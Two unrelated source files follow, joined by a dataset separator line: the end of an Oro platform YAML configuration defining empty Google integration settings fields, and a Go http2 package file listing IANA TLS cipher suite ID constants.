tooltip: oro.google_integration.system_configuration.groups.google_integration_settings.tooltip
fields:
oro_google_integration.client_id:
data_type: string
type: Symfony\Component\Form\Extension\Core\Type\TextType
search_type: text
options:
label: oro.google_integration.system_configuration.fields.client_id.label
resettable: false
required: false
priority: 30
oro_google_integration.client_secret:
data_type: string
type: Symfony\Component\Form\Extension\Core\Type\TextType
search_type: text
options:
label: oro.google_integration.system_configuration.fields.client_secret.label
resettable: false
required: false
priority: 20
oro_google_integration.google_api_key:
data_type: string
type: Symfony\Component\Form\Extension\Core\Type\TextType
search_type: text
options:
label: oro.google_integration.system_configuration.fields.google_api_key.label
resettable: false
required: false
priority: 10
tree:
system_configuration:
platform:
children:
integrations:
children:
google_settings:
children:
google_integration_settings:
children:
- oro_google_integration.client_id
- oro_google_integration.client_secret
- oro_google_integration.google_api_key
| {
"pile_set_name": "Github"
} |
// Copyright 2017 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
package http2
// A list of the possible cipher suite ids. Taken from
// https://www.iana.org/assignments/tls-parameters/tls-parameters.txt
const (
cipher_TLS_NULL_WITH_NULL_NULL uint16 = 0x0000
cipher_TLS_RSA_WITH_NULL_MD5 uint16 = 0x0001
cipher_TLS_RSA_WITH_NULL_SHA uint16 = 0x0002
cipher_TLS_RSA_EXPORT_WITH_RC4_40_MD5 uint16 = 0x0003
cipher_TLS_RSA_WITH_RC4_128_MD5 uint16 = 0x0004
cipher_TLS_RSA_WITH_RC4_128_SHA uint16 = 0x0005
cipher_TLS_RSA_EXPORT_WITH_RC2_CBC_40_MD5 uint16 = 0x0006
cipher_TLS_RSA_WITH_IDEA_CBC_SHA uint16 = 0x0007
cipher_TLS_RSA_EXPORT_WITH_DES40_CBC_SHA uint16 = 0x0008
cipher_TLS_RSA_WITH_DES_CBC_SHA uint16 = 0x0009
cipher_TLS_RSA_WITH_3DES_EDE_CBC_SHA uint16 = 0x000A
cipher_TLS_DH_DSS_EXPORT_WITH_DES40_CBC_SHA uint16 = 0x000B
cipher_TLS_DH_DSS_WITH_DES_CBC_SHA uint16 = 0x000C
cipher_TLS_DH_DSS_WITH_3DES_EDE_CBC_SHA uint16 = 0x000D
cipher_TLS_DH_RSA_EXPORT_WITH_DES40_CBC_SHA uint16 = 0x000E
cipher_TLS_DH_RSA_WITH_DES_CBC_SHA uint16 = 0x000F
cipher_TLS_DH_RSA_WITH_3DES_EDE_CBC_SHA uint16 = 0x0010
cipher_TLS_DHE_DSS_EXPORT_WITH_DES40_CBC_SHA uint16 = 0x0011
cipher_TLS_DHE_DSS_WITH_DES_CBC_SHA uint16 = 0x0012
cipher_TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA uint16 = 0x0013
cipher_TLS_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA uint16 = 0x0014
cipher_TLS_DHE_RSA_WITH_DES_CBC_SHA uint16 = 0x0015
cipher_TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA uint16 = 0x0016
cipher_TLS_DH_anon_EXPORT_WITH_RC4_40_MD5 uint16 = 0x0017
cipher_TLS_DH_anon_WITH_RC4_128_MD5 uint16 = 0x0018
cipher_TLS_DH_anon_EXPORT_WITH_DES40_CBC_SHA uint16 = 0x0019
cipher_TLS_DH_anon_WITH_DES_CBC_SHA uint16 = 0x001A
cipher_TLS_DH_anon_WITH_3DES_EDE_CBC_SHA uint16 = 0x001B
// Reserved uint16 = 0x001C-1D
cipher_TLS_KRB5_WITH_DES_CBC_SHA uint16 = 0x001E
cipher_TLS_KRB5_WITH_3DES_EDE_CBC_SHA uint16 = 0x001F
cipher_TLS_KRB5_WITH_RC4_128_SHA uint16 = 0x0020
cipher_TLS_KRB5_WITH_IDEA_CBC_SHA uint16 = 0x0021
cipher_TLS_KRB5_WITH_DES_CBC_MD5 uint16 = 0x0022
cipher_TLS_KRB5_WITH_3DES_EDE_CBC_MD5 uint16 = 0x0023
cipher_TLS_KRB5_WITH_RC4_128_MD5 uint16 = 0x0024
cipher_TLS_KRB5_WITH_IDEA_CBC_MD5 uint16 = 0x0025
cipher_TLS_KRB5_EXPORT_WITH_DES_CBC_40_SHA uint16 = 0x0026
cipher_TLS_KRB5_EXPORT_WITH_RC2_CBC_40_SHA uint16 = 0x0027
cipher_TLS_KRB5_EXPORT_WITH_RC4_40_SHA uint16 = 0x0028
cipher_TLS_KRB5_EXPORT_WITH_DES_CBC_40_MD5 uint16 = 0x0029
cipher_TLS_KRB5_EXPORT_WITH_RC2_CBC_40_MD5 uint16 = 0x002A
cipher_TLS_KRB5_EXPORT_WITH_RC4_40_MD5 uint16 = 0x002B
cipher_TLS_PSK_WITH_NULL_SHA uint16 = 0x002C
cipher_TLS_DHE_PSK_WITH_NULL_SHA uint16 = 0x002D
cipher_TLS_RSA_PSK_WITH_NULL_SHA uint16 = 0x002E
cipher_TLS_RSA_WITH_AES_128_CBC_SHA uint16 = 0x002F
cipher_TLS_DH_DSS_WITH_AES_128_CBC_SHA uint16 = 0x0030
cipher_TLS_DH_RSA_WITH_AES_128_CBC_SHA uint16 = 0x0031
cipher_TLS_DHE_DSS_WITH_AES_128_CBC_SHA uint16 = 0x0032
cipher_TLS_DHE_RSA_WITH_AES_128_CBC_SHA uint16 = 0x0033
cipher_TLS_DH_anon_WITH_AES_128_CBC_SHA uint16 = 0x0034
cipher_TLS_RSA_WITH_AES_256_CBC_SHA uint16 = 0x0035
cipher_TLS_DH_DSS_WITH_AES_256_CBC_SHA uint16 = 0x0036
cipher_TLS_DH_RSA_WITH_AES_256_CBC_SHA uint16 = 0x0037
cipher_TLS_DHE_DSS_WITH_AES_256_CBC_SHA uint16 = 0x0038
cipher_TLS_DHE_RSA_WITH_AES_256_CBC_SHA uint16 = 0x0039
cipher_TLS_DH_anon_WITH_AES_256_CBC_SHA uint16 = 0x003A
cipher_TLS_RSA_WITH_NULL_SHA256 uint16 = 0x003B
cipher_TLS_RSA_WITH_AES_128_CBC_SHA256 uint16 = 0x003C
cipher_TLS_RSA_WITH_AES_256_CBC_SHA256 uint16 = 0x003D
cipher_TLS_DH_DSS_WITH_AES_128_CBC_SHA256 uint16 = 0x003E
cipher_TLS_DH_RSA_WITH_AES_128_CBC_SHA256 uint16 = 0x003F
cipher_TLS_DHE_DSS_WITH_AES_128_CBC_SHA256 uint16 = 0x0040
cipher_TLS_RSA_WITH_CAMELLIA_128_CBC_SHA uint16 = 0x0041
cipher_TLS_DH_DSS_WITH_CAMELLIA_128_CBC_SHA uint16 = 0x0042
cipher_TLS_DH_RSA_WITH_CAMELLIA_128_CBC_SHA uint16 = 0x0043
cipher_TLS_DHE_DSS_WITH_CAMELLIA_128_CBC_SHA uint16 = 0x0044
cipher_TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA uint16 = 0x0045
cipher_TLS_DH_anon_WITH_CAMELLIA_128_CBC_SHA uint16 = 0x0046
// Reserved uint16 = 0x0047-4F
// Reserved uint16 = 0x0050-58
// Reserved uint16 = 0x0059-5C
// Unassigned uint16 = 0x005D-5F
// Reserved uint16 = 0x0060-66
cipher_TLS_DHE_RSA_WITH_AES_128_CBC_SHA256 uint16 = 0x0067
cipher_TLS_DH_DSS_WITH_AES_256_CBC_SHA256 uint16 = 0x0068
cipher_TLS_DH_RSA_WITH_AES_256_CBC_SHA256 uint16 = 0x0069
cipher_TLS_DHE_DSS_WITH_AES_256_CBC_SHA256 uint16 = 0x006A
cipher_TLS_DHE_RSA_WITH_AES_256_CBC_SHA256 uint16 = 0x006B
cipher_TLS_DH_anon_WITH_AES_128_CBC_SHA256 uint16 = 0x006C
cipher_TLS_DH_anon_WITH_AES_256_CBC_SHA256 uint16 = 0x006D
// Unassigned uint16 = 0x006E-83
cipher_TLS_RSA_WITH_CAMELLIA_256_CBC_SHA uint16 = 0x0084
cipher_TLS_DH_DSS_WITH_CAMELLIA_256_CBC_SHA uint16 = 0x0085
cipher_TLS_DH_RSA_WITH_CAMELLIA_256_CBC_SHA uint16 = 0x0086
cipher_TLS_DHE_DSS_WITH_CAMELLIA_256_CBC_SHA uint16 = 0x0087
cipher_TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA uint16 = 0x0088
cipher_TLS_DH_anon_WITH_CAMELLIA_256_CBC_SHA uint16 = 0x0089
cipher_TLS_PSK_WITH_RC4_128_SHA uint16 = 0x008A
cipher_TLS_PSK_WITH_3DES_EDE_CBC_SHA uint16 = 0x008B
cipher_TLS_PSK_WITH_AES_128_CBC_SHA uint16 = 0x008C
cipher_TLS_PSK_WITH_AES_256_CBC_SHA uint16 = 0x008D
cipher_TLS_DHE_PSK_WITH_RC4_128_SHA uint16 = 0x008E
cipher_TLS_DHE_PSK_WITH_3DES_EDE_CBC_SHA uint16 = 0x008F
cipher_TLS_DHE_PSK_WITH_AES_128_CBC_SHA uint16 = 0x0090
cipher_TLS_DHE_PSK_WITH_AES_256_CBC_SHA uint16 = 0x0091
cipher_TLS_RSA_PSK_WITH_RC4_128_SHA uint16 = 0x0092
cipher_TLS_RSA_PSK_WITH_3DES_EDE_CBC_SHA uint16 = 0x0093
cipher_TLS_RSA_PSK_WITH_AES_128_CBC_SHA uint16 = 0x0094
cipher_TLS_RSA_PSK_WITH_AES_256_CBC_SHA uint16 = 0x0095
cipher_TLS_RSA_WITH_SEED_CBC_SHA uint16 = 0x0096
cipher_TLS_DH_DSS_WITH_SEED_CBC_SHA uint16 = 0x0097
cipher_TLS_DH_RSA_WITH_SEED_CBC_SHA uint16 = 0x0098
cipher_TLS_DHE_DSS_WITH_SEED_CBC_SHA uint16 = 0x0099
cipher_TLS_DHE_RSA_WITH_SEED_CBC_SHA uint16 = 0x009A
cipher_TLS_DH_anon_WITH_SEED_CBC_SHA uint16 = 0x009B
cipher_TLS_RSA_WITH_AES_128_GCM_SHA256 uint16 = 0x009C
cipher_TLS_RSA_WITH_AES_256_GCM_SHA384 uint16 = 0x009D
cipher_TLS_DHE_RSA_WITH_AES_128_GCM_SHA256 uint16 = 0x009E
cipher_TLS_DHE_RSA_WITH_AES_256_GCM_SHA384 uint16 = 0x009F
cipher_TLS_DH_RSA_WITH_AES_128_GCM_SHA256 uint16 = 0x00A0
cipher_TLS_DH_RSA_WITH_AES_256_GCM_SHA384 uint16 = 0x00A1
cipher_TLS_DHE_DSS_WITH_AES_128_GCM_SHA256 uint16 = 0x00A2
cipher_TLS_DHE_DSS_WITH_AES_256_GCM_SHA384 uint16 = 0x00A3
cipher_TLS_DH_DSS_WITH_AES_128_GCM_SHA256 uint16 = 0x00A4
cipher_TLS_DH_DSS_WITH_AES_256_GCM_SHA384 uint16 = 0x00A5
cipher_TLS_DH_anon_WITH_AES_128_GCM_SHA256 uint16 = 0x00A6
cipher_TLS_DH_anon_WITH_AES_256_GCM_SHA384 uint16 = 0x00A7
cipher_TLS_PSK_WITH_AES_128_GCM_SHA256 uint16 = 0x00A8
cipher_TLS_PSK_WITH_AES_256_GCM_SHA384 uint16 = 0x00A9
cipher_TLS_DHE_PSK_WITH_AES_128_GCM_SHA256 uint16 = 0x00AA
cipher_TLS_DHE_PSK_WITH_AES_256_GCM_SHA384 uint16 = 0x00AB
cipher_TLS_RSA_PSK_WITH_AES_128_GCM_SHA256 uint16 = 0x00AC
cipher_TLS_RSA_PSK_WITH_AES_256_GCM_SHA384 uint16 = 0x00AD
cipher_TLS_PSK_WITH_AES_128_CBC_SHA256 uint16 = 0x00AE
cipher_TLS_PSK_WITH_AES_256_CBC_SHA384 uint16 = 0x00AF
cipher_TLS_PSK_WITH_NULL_SHA256 uint16 = 0x00B0
cipher_TLS_PSK_WITH_NULL_SHA384 uint16 = 0x00B1
cipher_TLS_DHE_PSK_WITH_AES_128_CBC_SHA256 uint16 = 0x00B2
cipher_TLS_DHE_PSK_WITH_AES_256_CBC_SHA384 uint16 = 0x00B3
cipher_TLS_DHE_PSK_WITH_NULL_SHA256 uint16 = 0x00B4
cipher_TLS_DHE_PSK_WITH_NULL_SHA384 uint16 = 0x00B5
cipher_TLS_RSA_PSK_WITH_AES_128_CBC_SHA256 uint16 = 0x00B6
cipher_TLS_RSA_PSK_WITH_AES_256_CBC_SHA384 uint16 = 0x00B7
cipher_TLS_RSA_PSK_WITH_NULL_SHA256 uint16 = 0x00B8
cipher_TLS_RSA_PSK_WITH_NULL_SHA384 uint16 = 0x00B9
cipher_TLS_RSA_WITH_CAMELLIA_128_CBC_SHA256 uint16 = 0x00BA
cipher_TLS_DH_DSS_WITH_CAMELLIA_128_CBC_SHA256 uint16 = 0x00BB
cipher_TLS_DH_RSA_WITH_CAMELLIA_128_CBC_SHA256 uint16 = 0x00BC
cipher_TLS_DHE_DSS_WITH_CAMELLIA_128_CBC_SHA256 uint16 = 0x00BD
cipher_TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA256 uint16 = 0x00BE
cipher_TLS_DH_anon_WITH_CAMELLIA_128_CBC_SHA256 uint16 = 0x00BF
cipher_TLS_RSA_WITH_CAMELLIA_256_CBC_SHA256 uint16 = 0x00C0
cipher_TLS_DH_DSS_WITH_CAMELLIA_256_CBC_SHA256 uint16 = 0x00C1
cipher_TLS_DH_RSA_WITH_CAMELLIA_256_CBC_SHA256 uint16 = 0x00C2
cipher_TLS_DHE_DSS_WITH_CAMELLIA_256_CBC_SHA256 uint16 = 0x00C3
cipher_TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA256 uint16 = 0x00C4
cipher_TLS_DH_anon_WITH_CAMELLIA_256_CBC_SHA256 uint16 = 0x00C5
// Unassigned uint16 = 0x00C6-FE
cipher_TLS_EMPTY_RENEGOTIATION_INFO_SCSV uint16 = 0x00FF
// Unassigned uint16 = 0x01-55,*
cipher_TLS_FALLBACK_SCSV uint16 = 0x5600
// Unassigned uint16 = 0x5601 - 0xC000
cipher_TLS_ECDH_ECDSA_WITH_NULL_SHA uint16 = 0xC001
cipher_TLS_ECDH_ECDSA_WITH_RC4_128_SHA uint16 = 0xC002
cipher_TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA uint16 = 0xC003
cipher_TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA uint16 = 0xC004
cipher_TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA uint16 = 0xC005
cipher_TLS_ECDHE_ECDSA_WITH_NULL_SHA uint16 = 0xC006
cipher_TLS_ECDHE_ECDSA_WITH_RC4_128_SHA uint16 = 0xC007
cipher_TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA uint16 = 0xC008
cipher_TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA uint16 = 0xC009
cipher_TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA uint16 = 0xC00A
cipher_TLS_ECDH_RSA_WITH_NULL_SHA uint16 = 0xC00B
cipher_TLS_ECDH_RSA_WITH_RC4_128_SHA uint16 = 0xC00C
cipher_TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA uint16 = 0xC00D
cipher_TLS_ECDH_RSA_WITH_AES_128_CBC_SHA uint16 = 0xC00E
cipher_TLS_ECDH_RSA_WITH_AES_256_CBC_SHA uint16 = 0xC00F
cipher_TLS_ECDHE_RSA_WITH_NULL_SHA uint16 = 0xC010
cipher_TLS_ECDHE_RSA_WITH_RC4_128_SHA uint16 = 0xC011
cipher_TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA uint16 = 0xC012
cipher_TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA uint16 = 0xC013
cipher_TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA uint16 = 0xC014
cipher_TLS_ECDH_anon_WITH_NULL_SHA uint16 = 0xC015
cipher_TLS_ECDH_anon_WITH_RC4_128_SHA uint16 = 0xC016
cipher_TLS_ECDH_anon_WITH_3DES_EDE_CBC_SHA uint16 = 0xC017
cipher_TLS_ECDH_anon_WITH_AES_128_CBC_SHA uint16 = 0xC018
cipher_TLS_ECDH_anon_WITH_AES_256_CBC_SHA uint16 = 0xC019
cipher_TLS_SRP_SHA_WITH_3DES_EDE_CBC_SHA uint16 = 0xC01A
cipher_TLS_SRP_SHA_RSA_WITH_3DES_EDE_CBC_SHA uint16 = 0xC01B
cipher_TLS_SRP_SHA_DSS_WITH_3DES_EDE_CBC_SHA uint16 = 0xC01C
cipher_TLS_SRP_SHA_WITH_AES_128_CBC_SHA uint16 = 0xC01D
cipher_TLS_SRP_SHA_RSA_WITH_AES_128_CBC_SHA uint16 = 0xC01E
cipher_TLS_SRP_SHA_DSS_WITH_AES_128_CBC_SHA uint16 = 0xC01F
cipher_TLS_SRP_SHA_WITH_AES_256_CBC_SHA uint16 = 0xC020
cipher_TLS_SRP_SHA_RSA_WITH_AES_256_CBC_SHA uint16 = 0xC021
cipher_TLS_SRP_SHA_DSS_WITH_AES_256_CBC_SHA uint16 = 0xC022
cipher_TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256 uint16 = 0xC023
cipher_TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384 uint16 = 0xC024
cipher_TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA256 uint16 = 0xC025
cipher_TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA384 uint16 = 0xC026
cipher_TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256 uint16 = 0xC027
cipher_TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384 uint16 = 0xC028
cipher_TLS_ECDH_RSA_WITH_AES_128_CBC_SHA256 uint16 = 0xC029
cipher_TLS_ECDH_RSA_WITH_AES_256_CBC_SHA384 uint16 = 0xC02A
cipher_TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256 uint16 = 0xC02B
cipher_TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384 uint16 = 0xC02C
cipher_TLS_ECDH_ECDSA_WITH_AES_128_GCM_SHA256 uint16 = 0xC02D
cipher_TLS_ECDH_ECDSA_WITH_AES_256_GCM_SHA384 uint16 = 0xC02E
cipher_TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 uint16 = 0xC02F
cipher_TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 uint16 = 0xC030
cipher_TLS_ECDH_RSA_WITH_AES_128_GCM_SHA256 uint16 = 0xC031
cipher_TLS_ECDH_RSA_WITH_AES_256_GCM_SHA384 uint16 = 0xC032
cipher_TLS_ECDHE_PSK_WITH_RC4_128_SHA uint16 = 0xC033
cipher_TLS_ECDHE_PSK_WITH_3DES_EDE_CBC_SHA uint16 = 0xC034
cipher_TLS_ECDHE_PSK_WITH_AES_128_CBC_SHA uint16 = 0xC035
cipher_TLS_ECDHE_PSK_WITH_AES_256_CBC_SHA uint16 = 0xC036
cipher_TLS_ECDHE_PSK_WITH_AES_128_CBC_SHA256 uint16 = 0xC037
cipher_TLS_ECDHE_PSK_WITH_AES_256_CBC_SHA384 uint16 = 0xC038
cipher_TLS_ECDHE_PSK_WITH_NULL_SHA uint16 = 0xC039
cipher_TLS_ECDHE_PSK_WITH_NULL_SHA256 uint16 = 0xC03A
cipher_TLS_ECDHE_PSK_WITH_NULL_SHA384 uint16 = 0xC03B
cipher_TLS_RSA_WITH_ARIA_128_CBC_SHA256 uint16 = 0xC03C
cipher_TLS_RSA_WITH_ARIA_256_CBC_SHA384 uint16 = 0xC03D
cipher_TLS_DH_DSS_WITH_ARIA_128_CBC_SHA256 uint16 = 0xC03E
cipher_TLS_DH_DSS_WITH_ARIA_256_CBC_SHA384 uint16 = 0xC03F
cipher_TLS_DH_RSA_WITH_ARIA_128_CBC_SHA256 uint16 = 0xC040
cipher_TLS_DH_RSA_WITH_ARIA_256_CBC_SHA384 uint16 = 0xC041
cipher_TLS_DHE_DSS_WITH_ARIA_128_CBC_SHA256 uint16 = 0xC042
cipher_TLS_DHE_DSS_WITH_ARIA_256_CBC_SHA384 uint16 = 0xC043
cipher_TLS_DHE_RSA_WITH_ARIA_128_CBC_SHA256 uint16 = 0xC044
cipher_TLS_DHE_RSA_WITH_ARIA_256_CBC_SHA384 uint16 = 0xC045
cipher_TLS_DH_anon_WITH_ARIA_128_CBC_SHA256 uint16 = 0xC046
cipher_TLS_DH_anon_WITH_ARIA_256_CBC_SHA384 uint16 = 0xC047
cipher_TLS_ECDHE_ECDSA_WITH_ARIA_128_CBC_SHA256 uint16 = 0xC048
cipher_TLS_ECDHE_ECDSA_WITH_ARIA_256_CBC_SHA384 uint16 = 0xC049
cipher_TLS_ECDH_ECDSA_WITH_ARIA_128_CBC_SHA256 uint16 = 0xC04A
cipher_TLS_ECDH_ECDSA_WITH_ARIA_256_CBC_SHA384 uint16 = 0xC04B
cipher_TLS_ECDHE_RSA_WITH_ARIA_128_CBC_SHA256 uint16 = 0xC04C
cipher_TLS_ECDHE_RSA_WITH_ARIA_256_CBC_SHA384 uint16 = 0xC04D
cipher_TLS_ECDH_RSA_WITH_ARIA_128_CBC_SHA256 uint16 = 0xC04E
cipher_TLS_ECDH_RSA_WITH_ARIA_256_CBC_SHA384 uint16 = 0xC04F
cipher_TLS_RSA_WITH_ARIA_128_GCM_SHA256 uint16 = 0xC050
cipher_TLS_RSA_WITH_ARIA_256_GCM_SHA384 uint16 = 0xC051
cipher_TLS_DHE_RSA_WITH_ARIA_128_GCM_SHA256 uint16 = 0xC052
cipher_TLS_DHE_RSA_WITH_ARIA_256_GCM_SHA384 uint16 = 0xC053
cipher_TLS_DH_RSA_WITH_ARIA_128_GCM_SHA256 uint16 = 0xC054
cipher_TLS_DH_RSA_WITH_ARIA_256_GCM_SHA384 uint16 = 0xC055
cipher_TLS_DHE_DSS_WITH_ARIA_128_GCM_SHA256 uint16 = 0xC056
cipher_TLS_DHE_DSS_WITH_ARIA_256_GCM_SHA384 uint16 = 0xC057
cipher_TLS_DH_DSS_WITH_ARIA_128_GCM_SHA256 uint16 = 0xC058
cipher_TLS_DH_DSS_WITH_ARIA_256_GCM_SHA384 uint16 = 0xC059
cipher_TLS_DH_anon_WITH_ARIA_128_GCM_SHA256 uint16 = 0xC05A
cipher_TLS_DH_anon_WITH_ARIA_256_GCM_SHA384 uint16 = 0xC05B
cipher_TLS_ECDHE_ECDSA_WITH_ARIA_128_GCM_SHA256 uint16 = 0xC05C
cipher_TLS_ECDHE_ECDSA_WITH_ARIA_256_GCM_SHA384 uint16 = 0xC05D
cipher_TLS_ECDH_ECDSA_WITH_ARIA_128_GCM_SHA256 uint16 = 0xC05E
cipher_TLS_ECDH_ECDSA_WITH_ARIA_256_GCM_SHA384 uint16 = 0xC05F
cipher_TLS_ECDHE_RSA_WITH_ARIA_128_GCM_SHA256 uint16 = 0xC060
cipher_TLS_ECDHE_RSA_WITH_ARIA_256_GCM_SHA384 uint16 = 0xC061
cipher_TLS_ECDH_RSA_WITH_ARIA_128_GCM_SHA256 uint16 = 0xC062
cipher_TLS_ECDH_RSA_WITH_ARIA_256_GCM_SHA384 uint16 = 0xC063
cipher_TLS_PSK_WITH_ARIA_128_CBC_SHA256 uint16 = 0xC064
cipher_TLS_PSK_WITH_ARIA_256_CBC_SHA384 uint16 = 0xC065
cipher_TLS_DHE_PSK_WITH_ARIA_128_CBC_SHA256 uint16 = 0xC066
cipher_TLS_DHE_PSK_WITH_ARIA_256_CBC_SHA384 uint16 = 0xC067
cipher_TLS_RSA_PSK_WITH_ARIA_128_CBC_SHA256 uint16 = 0xC068
cipher_TLS_RSA_PSK_WITH_ARIA_256_CBC_SHA384 uint16 = 0xC069
cipher_TLS_PSK_WITH_ARIA_128_GCM_SHA256 uint16 = 0xC06A
cipher_TLS_PSK_WITH_ARIA_256_GCM_SHA384 uint16 = 0xC06B
cipher_TLS_DHE_PSK_WITH_ARIA_128_GCM_SHA256 uint16 = 0xC06C
cipher_TLS_DHE_PSK_WITH_ARIA_256_GCM_SHA384 uint16 = 0xC06D
cipher_TLS_RSA_PSK_WITH_ARIA_128_GCM_SHA256 uint16 = 0xC06E
cipher_TLS_RSA_PSK_WITH_ARIA_256_GCM_SHA384 uint16 = 0xC06F
cipher_TLS_ECDHE_PSK_WITH_ARIA_128_CBC_SHA256 uint16 = 0xC070
cipher_TLS_ECDHE_PSK_WITH_ARIA_256_CBC_SHA384 uint16 = 0xC071
cipher_TLS_ECDHE_ECDSA_WITH_CAMELLIA_128_CBC_SHA256 uint16 = 0xC072
cipher_TLS_ECDHE_ECDSA_WITH_CAMELLIA_256_CBC_SHA384 uint16 = 0xC073
cipher_TLS_ECDH_ECDSA_WITH_CAMELLIA_128_CBC_SHA256 uint16 = 0xC074
cipher_TLS_ECDH_ECDSA_WITH_CAMELLIA_256_CBC_SHA384 uint16 = 0xC075
cipher_TLS_ECDHE_RSA_WITH_CAMELLIA_128_CBC_SHA256 uint16 = 0xC076
cipher_TLS_ECDHE_RSA_WITH_CAMELLIA_256_CBC_SHA384 uint16 = 0xC077
cipher_TLS_ECDH_RSA_WITH_CAMELLIA_128_CBC_SHA256 uint16 = 0xC078
cipher_TLS_ECDH_RSA_WITH_CAMELLIA_256_CBC_SHA384 uint16 = 0xC079
cipher_TLS_RSA_WITH_CAMELLIA_128_GCM_SHA256 uint16 = 0xC07A
cipher_TLS_RSA_WITH_CAMELLIA_256_GCM_SHA384 uint16 = 0xC07B
cipher_TLS_DHE_RSA_WITH_CAMELLIA_128_GCM_SHA256 uint16 = 0xC07C
cipher_TLS_DHE_RSA_WITH_CAMELLIA_256_GCM_SHA384 uint16 = 0xC07D
cipher_TLS_DH_RSA_WITH_CAMELLIA_128_GCM_SHA256 uint16 = 0xC07E
cipher_TLS_DH_RSA_WITH_CAMELLIA_256_GCM_SHA384 uint16 = 0xC07F
cipher_TLS_DHE_DSS_WITH_CAMELLIA_128_GCM_SHA256 uint16 = 0xC080
cipher_TLS_DHE_DSS_WITH_CAMELLIA_256_GCM_SHA384 uint16 = 0xC081
cipher_TLS_DH_DSS_WITH_CAMELLIA_128_GCM_SHA256 uint16 = 0xC082
cipher_TLS_DH_DSS_WITH_CAMELLIA_256_GCM_SHA384 uint16 = 0xC083
cipher_TLS_DH_anon_WITH_CAMELLIA_128_GCM_SHA256 uint16 = 0xC084
cipher_TLS_DH_anon_WITH_CAMELLIA_256_GCM_SHA384 uint16 = 0xC085
cipher_TLS_ECDHE_ECDSA_WITH_CAMELLIA_128_GCM_SHA256 uint16 = 0xC086
cipher_TLS_ECDHE_ECDSA_WITH_CAMELLIA_256_GCM_SHA384 uint16 = 0xC087
cipher_TLS_ECDH_ECDSA_WITH_CAMELLIA_128_GCM_SHA256 uint16 = 0xC088
cipher_TLS_ECDH_ECDSA_WITH_CAMELLIA_256_GCM_SHA384 uint16 = 0xC089
cipher_TLS_ECDHE_RSA_WITH_CAMELLIA_128_GCM_SHA256 uint16 = 0xC08A
cipher_TLS_ECDHE_RSA_WITH_CAMELLIA_256_GCM_SHA384 uint16 = 0xC08B
cipher_TLS_ECDH_RSA_WITH_CAMELLIA_128_GCM_SHA256 uint16 = 0xC08C
cipher_TLS_ECDH_RSA_WITH_CAMELLIA_256_GCM_SHA384 uint16 = 0xC08D
cipher_TLS_PSK_WITH_CAMELLIA_128_GCM_SHA256 uint16 = 0xC08E
cipher_TLS_PSK_WITH_CAMELLIA_256_GCM_SHA384 uint16 = 0xC08F
cipher_TLS_DHE_PSK_WITH_CAMELLIA_128_GCM_SHA256 uint16 = 0xC090
cipher_TLS_DHE_PSK_WITH_CAMELLIA_256_GCM_SHA384 uint16 = 0xC091
cipher_TLS_RSA_PSK_WITH_CAMELLIA_128_GCM_SHA256 uint16 = 0xC092
cipher_TLS_RSA_PSK_WITH_CAMELLIA_256_GCM_SHA384 uint16 = 0xC093
cipher_TLS_PSK_WITH_CAMELLIA_128_CBC_SHA256 uint16 = 0xC094
cipher_TLS_PSK_WITH_CAMELLIA_256_CBC_SHA384 uint16 = 0xC095
cipher_TLS_DHE_PSK_WITH_CAMELLIA_128_CBC_SHA256 uint16 = 0xC096
cipher_TLS_DHE_PSK_WITH_CAMELLIA_256_CBC_SHA384 uint16 = 0xC097
cipher_TLS_RSA_PSK_WITH_CAMELLIA_128_CBC_SHA256 uint16 = 0xC098
cipher_TLS_RSA_PSK_WITH_CAMELLIA_256_CBC_SHA384 uint16 = 0xC099
cipher_TLS_ECDHE_PSK_WITH_CAMELLIA_128_CBC_SHA256 uint16 = 0xC09A
cipher_TLS_ECDHE_PSK_WITH_CAMELLIA_256_CBC_SHA384 uint16 = 0xC09B
cipher_TLS_RSA_WITH_AES_128_CCM uint16 = 0xC09C
cipher_TLS_RSA_WITH_AES_256_CCM uint16 = 0xC09D
cipher_TLS_DHE_RSA_WITH_AES_128_CCM uint16 = 0xC09E
cipher_TLS_DHE_RSA_WITH_AES_256_CCM uint16 = 0xC09F
cipher_TLS_RSA_WITH_AES_128_CCM_8 uint16 = 0xC0A0
cipher_TLS_RSA_WITH_AES_256_CCM_8 uint16 = 0xC0A1
cipher_TLS_DHE_RSA_WITH_AES_128_CCM_8 uint16 = 0xC0A2
cipher_TLS_DHE_RSA_WITH_AES_256_CCM_8 uint16 = 0xC0A3
cipher_TLS_PSK_WITH_AES_128_CCM uint16 = 0xC0A4
cipher_TLS_PSK_WITH_AES_256_CCM uint16 = 0xC0A5
cipher_TLS_DHE_PSK_WITH_AES_128_CCM uint16 = 0xC0A6
cipher_TLS_DHE_PSK_WITH_AES_256_CCM uint16 = 0xC0A7
cipher_TLS_PSK_WITH_AES_128_CCM_8 uint16 = 0xC0A8
cipher_TLS_PSK_WITH_AES_256_CCM_8 uint16 = 0xC0A9
cipher_TLS_PSK_DHE_WITH_AES_128_CCM_8 uint16 = 0xC0AA
cipher_TLS_PSK_DHE_WITH_AES_256_CCM_8 uint16 = 0xC0AB
